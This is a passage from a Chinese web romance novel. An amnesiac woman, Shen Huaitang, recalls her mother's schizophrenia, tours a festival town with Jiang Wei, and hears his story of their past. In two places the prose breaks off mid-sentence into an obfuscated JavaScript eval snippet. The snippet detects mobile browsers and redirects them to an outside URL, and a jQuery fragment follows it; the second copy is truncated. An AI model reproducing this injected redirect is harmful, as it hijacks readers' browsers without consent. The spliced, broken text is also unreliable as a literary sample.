她若有所思地点点头,人不能不睡觉,既然在家里睡不了,在外面控制不住睡着倒也说得通。 ——精神药物所带来的嗜睡,那可是真正的“昏迷”。 不过,她如今对这些事情已经没有过激的情绪,好似在听别人的故事。 母亲,妈妈,沈如风。 沈淮棠每次看到她的照片,身体里会泛起本能的爱意与苦楚,可无法探寻来源。 她只能从别人口中,或者日记的只言片语中寻摸到一些岁月的痕迹。 母亲生她、养她、看顾她,待她年纪大些,便开始照顾患病的母亲。 她们血脉相连,盘根错节纠缠十几年密不可分,而后母亲的离去,似是手起刀落,将那虬结在一处的联系连根斩断,给沈淮棠带来前所未有的灭顶打击。 在此之前,沈如风是一名音乐家。 作为家中受宠的女孩,她很小就拥有一台钢琴,在那个年代,这是非常稀有昂贵的乐器。 她的前半生,就像她的名字,如风般自由自在,年纪轻轻就写出无数人羡慕的细腻悠扬的调子。 沈如风给予女儿优渥的生活与满溢的爱,耐心地教她认字念书,弹琴唱歌。 夏天时,她们穿着款式相仿的雪白连衣裙手牵手去逛街散步,一人买一根绿豆棒冰。就算是寒冷的冬天,她们兴致来了,也会坐很长时间的火车,去遥远的北方旅游,只为看一场难得的漫天大雪。 直到上学的年纪,沈淮棠都不想离开母亲,沈如风抱着她说:“想妈妈的时候,就站在有风的地方,就是妈妈在拥抱你啦。” 后来,母亲生病了。 她的精神分裂时好时坏,好的时候与正常人并无差别——长时间地在床边看书,或者弹琴,与她交流的时候,也如幼时那般温柔可亲。 但偶尔,她弹琴到一半,会开始歇斯底里地砸琴,而后伏在琴键上大哭,不让任何人靠近,固执地认为有人要害她。 她说,总有人教唆她变成真正的风,从楼上一跃而下。 所以沈淮棠和护工需要时常盯着她,让她好好吃药,不能藏药,也得防止她做伤害自己的事情。 因此,曾经的沈淮棠总是精神紧绷、控制欲强——和病人讲不通道理,只能尽可能地去预防一切可能会发生的危机。 这几乎让她精疲力尽。 可每次看到母亲痛苦,她的眼泪就止不住,母女连心并非空话。 病情恶劣的时候,沈淮棠只能送母亲去住院。医院的探视时间有限制,需要主治医生批准,大约半个月才能见一次。 母亲很依赖她,每次见面都像个委屈的小孩,讲述自己在医院特别听话,为什么还不能回家呢? 沈淮棠只能哄着,带些书籍或是音乐玩具,给她在医院里打发时间,等医生允许回家观察后,再将她带回来。 如此,循环往复。 循环往复。 那应该是一段非常煎熬的日子。 放不下生病的母亲,又得忙于自己的学业与生活。 可是沈淮棠现在并不记得那些细节,唯剩对流年中那个焦头烂额又彷徨失措的少女片刻的怜惜。 江未认真地听着她简单的诉说,不置一词,只温和地颔首,似乎理解她所有的言下之意。 沈淮棠想,以前她应该也和江未说过不少母亲的事情吧,不知那时候的版本与现在有何不同? 可她没有问,没有必要。 此时有一阵风吹来,拂起她的长发,又温柔而走,她眯了眯眼。 沈淮棠决定转移话题,问道:“说说看,你妈妈是个怎样的人呢?” 江未撑着腮帮子,思索半晌说:“是一个,控制欲很强的人。” 她并不意外。 不少东亚父母似乎都有这个问题。 而江未继续说:“我和我哥的房间里,一直都装有监控,后来我跟奶奶离开便罢了,我哥直到成年,监控都没有拆。” 仅此一句,沈淮棠的脖颈仿佛被掐住,窒息感如潮水般涌来,直接将她淹没。 “你们……没有反抗过吗?”沈淮棠忍不住问,难以想象要怎样忍受如此束缚。 “当然,但我妈收拾我们的方法实在多了去,因为所有的一切都掌控在她手里。” “我们的生活循规蹈矩,每周老师来家里上课,医生来检查身体,裁缝来量体裁衣……一切条理分明,精致刻板得欲语无言。” “然而只要反抗,等待我们的就是被关在禁闭室,禁食禁足禁娱乐,甚至我们两个都无法对对方说话,直到反省错误。” 沈淮棠不知该说什么。 “后来我离开,我妈也就不认我了,觉得我不配做她儿子。”江未无所谓地笑笑,“我和哥哥道别时,他只能站在那里静静看着我,连眼泪都不敢掉。” “那你哥哥,现在还好吗?” “挣扎着长大了。”江未耸耸肩,“我妈培养出一个非常优秀的继承人,就算他们突然去世,他也能游刃有余地接下集团,运筹帷幄,而我只能做个满身班味儿的打工仔。” 沈淮棠忍不住吐槽:“给自己家打工,算什么打工仔?” “唉,谁愿意打工?我哥就是性子太冷了,抓我回来帮他社交,每次都是他做决策,让我出去谈事儿。” 江未美丽的脸透着半死不活,“而我只想找个没人的地方躺平……” 沈淮棠笑笑,没说话。 江未只是志不在此,而非能力不行。 若真是个游手好闲的,他哥那性子怎会放手让他来鹤城发展?养一个无所事事的富二代,可比让废物创业省钱得多。 他们聊着童年的事情,没有倒苦水的意思,只是一时感慨,家家有本难念的经。 随着时间流逝,夜色渐深。 车外的温度越来越低,他们拖着困倦的身体与微醺的脑袋回了车里,铺好睡袋,很快就陷入睡眠。 次日清晨,沈淮棠仍在残梦中挣扎,忽然被一道落在眼皮上的光唤醒。 她迷瞪着睁眼,下意识地转眸朝那一缕明亮的光柱看去,映入眼帘的是阳光穿透云层,将整个世界照得璀璨无垠。 “江未,江未!”沈淮棠惊得坐起身来,伸手去推旁边睡得正沉的男人,“醒醒,出太阳了。” 经历这些日子的暴雨连 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从罗屋山谷过去的途中有三两个小景点,他们一路游玩,计划傍晚抵达胡桃镇,停留一天,再回涯城赶飞机。 车子开进胡桃镇时,沈淮棠明显感觉到此处氛围的不同,好似误入童话世界。 整个小镇的街道五彩斑斓,到处都是金色橙色的灯笼彩旗和花环,金色的叶子在秋风中摇曳,落下后铺满地面,蔓延成一片灿烂的地毯。 胡桃镇似乎是在过节。 街道两旁的橱窗摆满各种节日装饰品,还有香气四溢的烤肉与糕点,不少本地人穿着传统服饰在游街,还有杂耍和歌舞表演,非常热闹。 一路走走看看,沈淮棠一路拍照,未久抵达预定的住宿地,老板是个三十多岁的美丽女人,也穿着当地服饰,告诉他们说: “我们在庆祝金秋节,是秋天最后一轮金黄落叶的季节,庆典会整整持续一周。” 老板热情的介绍着,拿来两套洁净舒适的传统服饰,让他们打扮好,一定要去街上逛逛,金秋节像是过年,不可错过。 沈淮棠回房间梳洗干净后,换上衣裙,宽松的棉质上衣衬得她肩背纤细优柔,对着镜子转一圈,深色大摆裙上金秋的手工刺绣似顺势绽放的花朵,绚丽夺目。 她束起长发,戴上同色系的头饰项链与耳环,瞧着与平日里完全不同的自己,莞尔一笑,心情也好起来。 “阿棠!阿棠!” 阳台外面有人喊她名字,她赶紧罩上一件厚厚的披肩,打开阳台木门,见到江未正在底下,用手扩在嘴边当喇叭。 他也穿上新衣,同样的短款棉质衬衣与深色长裤,外面套着保暖的毛呢外套。就算换了一身行头,他整个人也英姿勃发,眉眼俊俏诱人。 见她出来,江未变魔术似的,从背后掏出一束花,明亮的色彩刹那间照亮他笑吟吟的面容:“喜欢吗?” 沈淮棠这才发现,他的左耳也戴上耳坠,极简的款型,像一滴金色眼泪,随着他的举手投足盈盈而动。 真漂亮啊,她情不自禁想。 “喜欢。”沈淮棠真心实意地说,“你等我一会儿,我从大门出去。” 江未却说:“没关系,你就从这里跳下来,我接着你呢。” 她一愣,不可思议地回过头。 虽然住在一楼,但阳台底下还有一层木台,距离地面有一定高度。她眯着眼目测一下,倒是不高,只是她从来没考虑过翻阳台这个选项。 江未笑嘻嘻地催促:“快点,可千万不能被老板看到!” 这一下,倒莫名激起了幼年时做坏事的刺激感,她当即拎起长裙的裙摆,利落地翻身,坐上阳台的栏杆边沿。 江未就站在下方,张开手臂,仰面看着他,鼓励道:“没事,相信我。” 她脑海中不受控地想,这场景,怎么看着那么像私奔? 下一秒,沈淮棠跳落,稳稳当当地落在江未的怀中。 他笑意满满的声音在她耳边响起:“阿棠,我接住你了。” 11. 烟花 温热的气息扑面而来,沈淮棠下意识浅嗅,竟还在他身上闻到淡淡的花香,不只是方才从花店里带出来的,还是入乡随俗抹了什么气味旖旎的香膏。 他甚至抱得更紧,有力的臂膀将她箍在怀中,让她一时有些喘不匀气,只能双手抵在他胸膛,抬头抗议:“我不能呼吸了。” “抱歉,抱歉。”江未连忙松开她,待她站稳,又伸手紧了紧被扯皱的披肩,“外面气温比较低,冷不冷?” 她摇摇头,两人并肩走着,经过民宿大门时,正巧见到老板在同她招手:“妹妹来,我给你盘个头发。” 毕竟刚才翻了阳台,有点心虚,沈淮棠这会儿乖乖上前坐在椅子上。 老板绕到她身后,用牛角梳梳顺她绸缎似的长发,而后盘起发髻,又为她戴上一顶发箍。 说是发箍,倒更像是花环,上面满是金灿灿的花朵与叶片。 “好啦,妹妹好漂亮。”老板美滋滋地端详片刻她的作品,然后大手一挥,“快出去玩吧。” 老板后面跟了一句本地话语,沈淮棠一时没听懂,却被她推着脊背走到街上。 这会儿已经过了傍晚,天色也渐渐黑下来,然而街上热闹程度完全不减白天,举目之处张灯结彩,灯火辉煌,弥漫着温暖而幸福的感觉。 沈淮棠遥遥看到中央广场在举行篝火晚会,不管是演艺人员还是普通民众都在唱歌跳舞。 这对她来说很是新奇,鹤城从来没有过类似的民俗活动。 他们经过时,正巧有个舞女转着圈莺莺而来,长长的辫子与风鼓起的火红裙摆像是尽态极妍的花瓣。 舞女欢快地踏着鼓点,亲亲热热地拉起沈淮棠的手,带着她一齐跳起来。 沈淮棠原本是个娴静的性子,不过昨晚被江未带着跳过舞,这会儿倒不赧然了,顺其自然地与女孩一同摆动。 倒是江未一直站在人群外沿,平静而温和地看着大笑着的沈淮棠,眼神缱绻。 快结束时,舞女牵着她的手举高,让她牵起裙摆转了个圈儿,舞步间,又将她送回江未身边,离开前对他们抛了个飞吻,说了一句本地话。 是与老板方才所说相同的话。 沈淮棠想问什么意思,可舞女跑得太快,实在来不及。 他们找到一家餐厅吃晚餐,点了招牌菜,而后看着中心处的乐队演出。 手风琴和小提琴,还有沈淮棠认不出的民族乐器,以及一个嗓音嘹亮的歌手,留着俏皮的小胡子。他唱着唱着,就开始在餐厅里游走,给客人发糖与金秋酒。 这金秋酒,或许才是最正宗的金秋酒,与江未在余光镇买的稍有不同,颜色更深些,倒进玻璃杯后金光流转,简直像是“琼浆玉液”照进现实。 据介绍,金秋酒是混杂多种水果的果酒,苹果樱桃桃子柠檬,又添了白葡萄酒,也不知道是怎么酿成鎏金般的颜色与质地。 沈淮棠尝了一口,酸酸甜甜,口感醇厚,带着非常浓郁的水果风味,有些酒气却并不会醉。 “比我们看流星那晚开的那瓶好多了。”江未也连连夸赞,“香气不浓烈,也不醉人,适合聚会喝。” 他们多买了两瓶,准备带回去送礼。店员包装好送来时,还特地给他们抓了一大把糖,开开心心地说着吉祥话。 沈淮棠终于问出口:“那句……到底是什么意思?” 店员爽朗道:“是‘祝你们幸福’的意思,这是我们本地的口头禅,送给情侣夫妻的祝福。” 待店员离开后,沈淮棠扬扬眉毛,优雅地用纸巾抹抹嘴:“他们好像把我们当情侣了。” 江未呵地笑一声:“怎么?让我当男朋友,你觉得很丢人吗?” “凑合吧。”她漫不经心地说,果然看到江未难以置信地瞪大眼睛看过来,于是她继续逗他道,“人性如此,得到了就不珍惜,你说咱俩以前都在一起过了,肯定已经不新鲜了。” 江未被她这大言不惭的话给气乐了:“好好好,得到了就不珍惜。” 他抱着胳膊咬牙切齿,“我倒要看看,你能找个多新鲜的。” 沈淮棠在人群中扫视一圈,指着舞台上打鼓的肌肉男说:“你看那个怎么样?身材真不错,那肱二头肌,啧啧啧。” 江未面色凝重:“你怎么喜欢这款了?” 他品了品,有点嫌弃,“那个肌肉太夸张了,还是我的比较适中。” 沈淮棠面不改色:“可是他胸大。” “那又怎样?你又摸不着。”江未哼一声,故作矜持地说,“你收回前言,我就考虑一下给你试试,反正练胸肌也不难。” 沈淮棠压根没理他,目光又被另一个男人吸引,白白净净的面容,一双水汪汪的下垂眼,看上去对金秋节的一切都很新奇,显然也是游客。 她点评道:“那个也挺可爱的。” “成年了吗他?”江未皱眉摇摇头,“这种小男孩很幼稚的,不用划入考虑范围。” “你懂什么,年下就是要养成啊,我就喜欢年轻男生叫姐姐。”沈淮棠撑着脸,面色正经,“你年纪摆在这里,已经不吃香了,你要认清这个现实。” 江未沉默一瞬,狐疑道:“我觉得你好像在PUA我。” 沈淮棠否认三连:“不是,没有,你别瞎说。” 江未端详她不为所动的侧颜,半晌露出个玄而又玄了悟的表情:“阿棠,你以为这样就能让我动摇?” 他斩钉截铁地说,“不可能的,别想了,你我既然重逢,你就别想甩掉我了。” 沈淮棠觉得好笑,刚才她不过开玩笑,怎么知道他会想到这里,但他们之间迟早要聊这件事情,干脆趁机问道: “我能理解,你因为感情断在最浓烈时,所以意难平,心有不甘……可我已经不是过去的沈淮棠了,这不是气话,是客观事实。” “因此,你又怎么确认,喜欢的是现在的我,而非透过我,看着曾经的影子?” 江未并没有任何激恼,心平气和地点头:“你说的没错,现在的你和过去性子相差甚大,松弛而成熟,但是,人的核心,是很难随着皮囊与表层性格的变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850594|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化而轻易改变的。” 对此言论,沈淮棠不置可否。 更何况,失忆者难以客观评价,暂时不便发表言论。 两人之间陷入微妙的僵持与对抗。 如今的她平静稳定,是因为什么都不在乎,重活一回是天赐,主打一个除死没大事,死了倒没事儿。 而江未平日里活泛爱笑,更倾向是用情商包容任何的锋利棱角。 他像是一场雾,细润无声地将人完全包裹起来,不动声色地引导,让人不知不觉就遂他的意,或是落入他的圈套。 这是一种温和的掌控,即使包裹得再温柔,都带着三两分居高临下。 你觉得雾气温和,却忘记,雾是冷的。 “不对啊,差点被你绕进去了。”江未忽然左拳捶进右手心,“你都不记得以前的事情了,见到我算是初识,怎么会没有新鲜感呢?你当年对我可是一见钟情啊。” 沈淮棠一愣,哭笑不得,竟然下意识伸手揉了揉他戴过帽子后乱乱的头发。 江未抿着唇瞥她,而后微微低头,让她摸得更顺手些。 她想说什么,那些话在喉间绕来绕去,却仍是找不到一个落脚点,许久之后,她只轻声说了句:“江未,你再等等我。” 江未微微笑,颔首道:“好。” 晚饭后,他们去逛街消食,夜市仍然热闹,甚至更有气氛,沈淮棠走走拍拍,留下不少满意的照片。 逛着各色小摊,她买了不少纪念品,比如给云姨的刺绣挂毯,给余慈的陶土杯,以及给余谨的木雕。 其实沈淮棠还给江未准备了一个小礼物,只不过还需要加工,因此这会儿并没有拿出来。 他们凑头在一起分享战利品,却总觉得还少点什么,江未左看右看,视线落在她随身携带的相机:“出来这么久,我们还没有合照过呢。” 沈淮棠一愣:“这倒是。” 不远处一个正在拍摄夜景的白胡子老头摄影师听到这话,主动请缨说:“来来来,我给你们拍,不要钱,就拍着玩儿。” 他指挥着他俩站在绚丽的彩灯下,“就站在这里,这个光,这个构图,真是绝了,拍出来肯定特别好看。” 他们的背后是无尽的漆黑夜空与斑斓璀璨的节日灯光,沈淮棠稳稳站着,对镜头微微一笑,眼里倒映着溢彩流光。 而江未站在她身边,身体微微侧向她。 老头非常不满意:“哎呀,你们小情侣怎么还害羞了?假装不熟么?靠近一点!” 江未应一声,自然而然地抬起胳膊,松松地揽住沈淮棠的肩膀。她也偏头,离江未更近了一点。 ——她想得很开,他们不过是匆匆旅人,不必解释,人家也不会在意。 就在此刻,倏地一声哨响。 他们背后忽的腾起一束急速升空的烟花,在如墨的夜空炸开瑰丽的巨彩! 那瞬间的明亮,给他们镶嵌一层盈润剔透的金边。 这意料之外的一笔,让老头惊喜不已,当即按下快门,将这绚烂一幕定格。 12. 过去的故事 这一天过得实在充实,沈淮棠夜里在床上翻来覆去,身体非常疲惫,精神却还是处在极致亢奋中。 她翻身时,看到桌上放着今夜回来后,从头上拆下来的花环。 蓦然间,她有些愣神。 反正睡不着,沈淮棠摸出手机,反复翻看老头给他们拍的合照,一共三张。 漆黑夜空上斑斓炫目的烟花,一对靠在一起的漂亮男女,笑眼弯弯,举止亲密。 三张的区别是,第一张他们还较为拘谨,第二张江未揽着她的肩,对着镜头笑起来,第三张则是江未微微偏头,凝视着她的侧颜。 她随即将照片转发到余慈的聊天框,那边很快就回复了一串感叹号。 “!!!晚睡的福报,我的CP发糖了!” “姐你真的太美了啵啵啵!这是谁家的仙女!我家的!” “啧啧,他看你的眼神真不清白,不过,我感觉你也很开心呀,开心就好。” 很开心吗? 沈淮棠左看右看,并不觉得自己的容貌表情与以往有何不同。 或许是因为胡桃镇极具烟火气的氛围加成,连她这般对情感的接收表达都如此淡漠的人,都显得鲜活起来。 还有,陪在身边的人。 上回去云姨家吃饭,她与余慈聊过与江未的事情。 相比于持反对意见的余谨,余慈对此事的态度充满了热情与八卦,听罢沈淮棠简短介绍后,她啃着蛋糕一抹嘴,感叹道:“哎呀,这宿命般的重逢,说真的,我都有点嗑你俩了。” 沈淮棠轻柔地抚摸着妹妹的脑瓜,笑问:“你不怪我以前没有告诉过你?” “你谁也不说,自然是因为谁也不信,这反而让我很自责。在你最需要陪伴的时候,我不在你身边,那时候我上学的地方离梦港岛太远了……” 余慈抱着她的胳膊,依恋地蹭蹭,“虽然不清楚江未到底怎么回事,但至少在那段时间,他是你的情感支柱,或者说,让你有个盼头,这样就很好。” 这样,就很好。 她微微一笑,再次闭上眼。 或许没有着急赶路的焦灼感,近日又过于疲惫,沈淮棠这一觉直睡到日上三竿。 难得好好休息,连梦境的碎片都寻不到,直到被明亮日光啄醒,她眨眨眼,恍惚片刻方想起身在何处。 赖床许久,才慢腾腾地坐起身来。 她打着哈欠洗漱完毕,出门后见到江未正在与老板家的狗玩儿。 三只大狗,阿拉斯加、拉布拉多与金毛,说是玩闹又有些不妥,仔细一瞧,是狗子单方面在追着江未跑。 江未见她终于现身,赶紧三两步跑过来,将手里的纸袋往她手里一塞,笑眯眯地说:“估摸着你要醒了,我就出门儿给你买了早餐,你趁热吃吧,这小狗鼻子精着呢,就想讨吃的。” 纸袋里不知是什么饼子,烤得微焦,皮脆馕劲道,撒了芝麻又蘸了酱,香飘十里街。 沈淮棠坐在吧台的高脚凳上,在得到老板的允许后,与狗子们一同分食了饼子。 只不过,江未很不满意她的动作——撕下一小块饼,自己先吃,再依次给三只狗子,最后还要往他嘴里塞一块。 问题是他对她也没什么防备心,脑子警铃大作,嘴巴却已经本能张开。 不仅如此,在吃完饼子后,沈淮棠洗过手,还顺着挨个儿拍了拍狗子们的脑袋瓜,当然,江未也没有落下。 旁边狗子们看向江未的眼神都不对了:啊……没想到你也是……嗯…… 这或许无形之中促进江未与狗子们之间的关系,一直追在他后头发出玩耍邀请。 特别是到了当地有名的枫叶林后,狗子们更是没了分寸,甚至会将他扑倒在草地,兴高采烈地玩闹打滚,期间亲热地用湿湿的鼻头蹭蹭他,或者用舌头给他来几个爱的大嘴巴子。 沈淮棠当机立断拿出相机录下视频,准备回去以后借机勒索小江总:“小江总,你也不想这么衣衫凌乱满身是草屑的狼狈样子被别人看见吧……” 直到回程,江未都已经整理好仪容坐在副驾,还在心有余悸:“拉布拉多的尾巴简直是武器,我小腿都快被捶青了。” 沈淮棠开着车,听罢莞尔,阳光落在她长长的睫毛,投下小块的阴影。 去往涯城的一路天气尚好,偶尔有绵密的云层飘过,没有下雨,他们时间充裕,不慌不忙地赶路,途中遇到景色不错的景点,还绕去逛了逛。 那是一片盐湖,碧色的湖泊似一颗巨型的翡翠,周围触目之处皆是雪白一片,粼粼晶体并非沙子,而是盐体。 沈淮棠深一脚浅一脚地行走在湖边,半晌蹲下,凝视着天空之境般澄澈的水面。 她忽然叹口气,摆烂似的呈大字型就地一躺,浑身放松,手伸到湖里无意识搅弄着,开始神游天外。 江未见状,也有样学样地躺在她身边。 遥想初见时江未在宴会上穿得人模狗样,这会儿也是不拘小节地穿着冲锋衣,胳膊枕在脑袋后面,沉默地瞧着一望无际的湛蓝天空。 经历过这些日子,彼此更邋遢的模样也都见过,便也不太在意形象了。 沈淮棠感受着清凉的湖水浸透手背,像是在现实世界留了个锚点,抓着她风筝似的思绪不随风飘走。 她喃喃道:“这里真好,舍不得走了。” 江未深以为然地愁眉苦脸:“我也是,一想到回去要上班,就很惆怅。” 她善解人意地安慰道:“在这么美丽的地方,别提那些糟心事儿,多吓人。” 江未被逗乐:“那你在想什么呢?” 她在想,这一切像是一场梦境。 特别是她的身边,还陪伴着真正意义上的梦中人。 梦中模糊的倒影都有了具体的形象,无形之中,自然而然拉近他们之间的距离。 这是一种奇怪的感觉。 以前梦中人仍然面目模糊时,她可以说“我梦见和某人在飘雪的夜空游荡”,“我梦见和某人落入岩浆与冰层”,“我梦见和某人坐在蓝鲸脊背下潜深海”。 如今,某人有了名字,空浮的碎片顿时完满地拼接在一起,变成了“我梦见和江未在飘雪的夜空游荡,落入岩浆与冰层,还坐在蓝鲸脊背上下潜深海”。 宇宙公平,以往的记忆断层,现在竟平白给沈淮棠添一段只属于她自己的,关于江未的记忆。 酝酿整整五年,直至见到他的那一刻,开关啪的一下启动,串糖葫芦似的,将那些遗落的珍珠串起。 她能在短时间内对他迅速熟悉,亦是因为这份窈窈冥冥的亲近感。 然而,当她后知后觉地反应过来时,这趟旅途已经接近尾声。 往后,她又能说,“我和江未在暴雨中的无边旷野开着越野疾驰,在流星雨漫天的山谷中肆无忌惮地喝酒跳舞,在璀璨烟花下的节日小镇里假扮恋人,哪怕只有快门按下的一瞬间。” 说出口之后,她产生一种微妙的错觉,梦境好似也变成真实记忆的一部分,密不可分。 思绪百转千回。 过了很久,她才无知无觉地笑了笑,在江未莫名的眼神中,云淡风轻地开口: “我在想,晚上吃什么?” · 回鹤城的飞机上。 蜷缩在座位的沈淮棠将遮光眼罩一把扯下,转头对江未说:“睡不着。” 江未眉毛一扬:“真难得。” “我闭上眼,就是一望无际的旷野,和漫天的流星雨,我的魂魄留在了那一夜。”沈淮棠仰着头,眼神直直地看向机舱顶部。 江未瞧着她怨念满满的表情,将笔记本电脑的屏幕压下,转而十指交叉,商务会谈似的问道:“那么长官,我做些什么能让你好受点呢?” “要听故事,讲讲我们以前的事情吧。”沈淮棠话音未落,意犹未尽地补一句,“编的也可以。” 江未听罢,停顿一瞬,自然而然接话道:“好,我现在开始编。” 在七八年前,沈淮棠言语障碍的那段时间,性子较为孤僻,长时间待在自然环境中,不愿与人社交。 因此,她常常对于别人的呼唤毫无反应,甚至有些厌烦。就算在医院,除去难以跳过的必要病情交流,她与医生护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这种时候,往往他还没有走到,她就醒来,书从脸上滑落,露出一双警惕而冷淡的眼睛。 见到来人是他,她勉强松弛下来,又将书盖上,继续晒太阳打瞌睡。 他走上前去,坐在她身边。 她不愿意挨别人太近,往旁边蹭一点,又不动了。 然后两个人就在树下继续消磨时间,她睡觉,他就独自看书,或者写生,做一些需要安静处理的事情。 后来,江未听说,那位修女去世了。 老太太是在睡梦中走的,没有受苦,寿终正寝。 葬礼在教堂举行,然而沈淮棠没有去参加,她静默地站在山茶花田中,远远看着即将开始的仪式,俯身用力,折走一支修女生前最宝贝的贝拉茶花,便离开了。 江未终于在海滩边找到沈淮棠。 这一片海滩距离住宅区很远,需要走很长时间的路,鲜少有游客愿意过来。 他骑着自行车弯弯绕绕,大老远就看见一个呈大字型躺在沙滩上的人。 沈淮棠躺得四仰八叉,四散的长发像是茂密的海草,她眼神空洞地看着湛蓝如水洗的天空,嘴里叼着一朵鲜红的花。 瞳孔倒映出万里无云的一碧万顷,与火焰般燃烧的大红花朵,两厢冲击,在她淡漠沉郁的眼睛里混杂出惊艳的色彩,那是一种近乎妖异的艳丽。 轻轻一眨眼,波光潋滟。 大海的浪潮一次又一次地冲击着她在阳光下雪白的小腿,给浅色的裙摆染上潮湿的深色。 江未一步步走近沈淮棠,发现那朵贝拉的根茎却在她嘴里,已经被嚼得稀烂,类似某种泄愤式的攻击。 她没有看他,只凝视着远方。 海潮阵阵,偶尔汹涌,冲到她的腰部,没过她的指尖与手腕。 江未如以往一般,坐在她身边,许久只轻声说:“太阳要落山了,回去吗?” 沈淮棠侧头看向他,口唇微张,恰逢一波细浪打来,眨眼间便带走掉落的花朵。 她情不自禁坐起,凝视着花朵顺着退潮的海浪离开视线的轨迹。 许久,她才收回注目礼,微微偏首抬眸,流水般的长发从圆润的肩头滑下,掺杂在其中的细沙也簌簌而落。 紧接着,沈淮棠对江未说出认识以来的第一句话。 她说:“我可以抱你吗?” 13. 爱的证据 沈淮棠说话时,嗓音轻轻,语调柔和,见江未些微愕然的神情,也未觉得不妥。 听到这一段,飞机上沈淮棠的反应,与愣在当场的江未并无不同。 她难以自持地睁大眼,微微皱眉,感叹道:“没想到我胆儿这么大呢。” 江未沾沾自喜地说:“都讲了,以前你对我的喜欢,那是无人能比。” 沈淮棠抿抿唇,追问道:“那你当时答应我了吗?” 江未回想起当时状况,神情复杂地笑了笑:“准确地说,我当时还没来得及答应。” 因为沈淮棠看似在征求他的同意,实际上在他呆滞的时候,便直起身子,用力地抱住了他。 她环住他的腰,脸埋在他的脖颈处。 江未的呼吸一窒,而后他感觉到,她在颤抖,幅度大得几乎遏制不住,短短几秒,她就难以再抱住他,双手滑落。 他下意识地抓住她的双手,掌心包裹她的手背,意外发现,她的手臂内侧全是密密麻麻的咬痕。 这是江未第一次意识到,沈淮棠是一个病人,是精神科的病人。 她似乎极度痛苦,却不知该如何表达,那看不见的困兽在她身体内横冲直撞,直叫她遍体鳞伤。 当然,江未为判断沈淮棠与修女的情感应该还没有到那份上,所以这是在移情。 值得注意的是,她说的是“我可以抱你吗?”而非“你可以抱我吗?” 这是一个询问而非示弱的请求。 是她自尊心过高,到现在这地步还要破碎的颜面,亦或是,以往她一直是安抚他人的身份…… 她在通过模仿慰藉,来给自己镇痛。 于是江未抚开她被海风吹乱的长发,露出那张欲碎的容颜,学着她方才的样子,轻声问道:“我可以抱你吗?” 未等她回答,他便张开双臂紧紧地将她抱住,将她所有的脆弱收入怀中。 沈淮棠的无助被他稳稳接住,终于脱力,额头抵在他的肩上,久久地沉默着,直到夕阳完全沉入海平线。 光线收束隐退,无尽的夜色终于到来。 同样的,在飞机的轰鸣声中,七八年后的沈淮棠也陷入长久的沉默。 这故事瑰异绮丽,又有些让人不适,如今随性淡然的她,很难想象或是共情当年自己情绪失控至祈求拥抱的场景。 就像那朵明丽却糜烂的山茶。 江未敏锐地察觉她的情绪,当即笑笑,歪着头问道:“你相信了?” 沈淮棠有些没反应过来:“什么?” 他弯弯眼睛,狡猾地说:“我现编的故事怎么样?大作家,看看我有没有写小说的天赋?” “这真是你现编的?” “当然,最开始就说了嘛。”江未甚至有些自得,对她眨眨眼,“别想了,耗费脑细胞,不过你要是想把它作为灵感写到新小说里去,也可以商量哦。” 沈淮棠以审视的目光凝视他的眼睛,片刻后,只轻轻一笑,将视线转移至窗外,看向那漆黑一片的天空。 回到鹤城后,他们也没有再提及此事,或是这个故事。 这些天,她在料理书店之余,将那天和江未与狗子们一同去枫叶林时,精挑细选出来的枫叶拿了出来。 枫叶保存得非常完整,她用烤箱烘干,平铺在洁净的白纸上。叶子上金色与大红渐变的颜色似乎还带着胡桃镇的气息,绚丽如火烧云夕阳。 她仔细将枫叶粘好,用玻璃压平,将这金秋燃烧的一刹那封存装订进定制的硬枫木画框。 由此,虚无缥缈的记忆似乎有了切实的落脚处。 她给江未打电话,那边很快接通,他的声音听上去有些疲惫:“阿棠,怎么了?” 这是回来以后他们第一次联系。 她说:“你在忙吗?有空吃个晚饭?” 江未思索片刻:“那你来我家吧。” 沈淮棠反而奇怪道:“这个时间点你怎么会在家?我都没下班,你怎么就下班了?” 电话那端传来一声闷笑,而后是一声叹息,她都能想象得到江未面上无可奈何的表情:“沈小姐,你盼我点好吧,我忙的跟陀螺似的,刚从滨城飞回来,还没到家。” 结束通话后,沈淮棠将画框用牛皮纸包好,小心翼翼抱着出了栖居的门。 天气入冬,冷得她直哆嗦,赶紧钻进车里,看一眼江未发来的地址,启动车辆。 江未在地下停车场等她,半倚靠在立柱旁,抱着胳膊看手机,旁边放着行李箱。见到沈淮棠后,他露出笑容,自然而然地接过她怀里抱着的重物。 沈淮棠跟在他身后进入他的住所,脚步一顿,有些意外地打量着满目冷硬简洁的室内装修,主打色调竟是黑白灰。 在她心中,江未是一只笑眯眯的狐狸,爱漂亮,性子又骄矜,当然要把自己和窝窝都打理得干净整洁,花里胡哨。 或许这是他的脸蛋让人产生的错觉。 又或者,是他宜人的社交手段,不管对谁都如沐春风,刻意营造出的妥帖氛围,无意中引向这些特征。 然而,在看到他家装修的那一刻,这些特征全都瓦解。 沈淮棠转眸,看江未利落地脱下西装,露出宽肩窄腰,他注意到她的视线,一挑眉,那双倒映着星河的桃花眼宝光流转。 身处在熟悉的环境,他整个人松散下来,漫不经心地将领带扯散,用力的一瞬间,手背青筋尽显。 她忽而悟到其中玄妙。 ——他这副皮囊漂亮而充满诱惑,气质如雾,看似温和,内核却如这家装风格般冷冰冰。 沈淮棠继续在客厅转悠,欣赏墙上挂着的四五幅画作,颜色清透,与家装风格十分相符。 她看出来这些是同一人所作,便问道:“这是谁的作品?” 江未笑道:“是我自己画的。” 沈淮棠颔首:“难怪。” 之前他一直与奶奶生活,耳濡目染已久,就算照猫画虎也技巧纯熟。 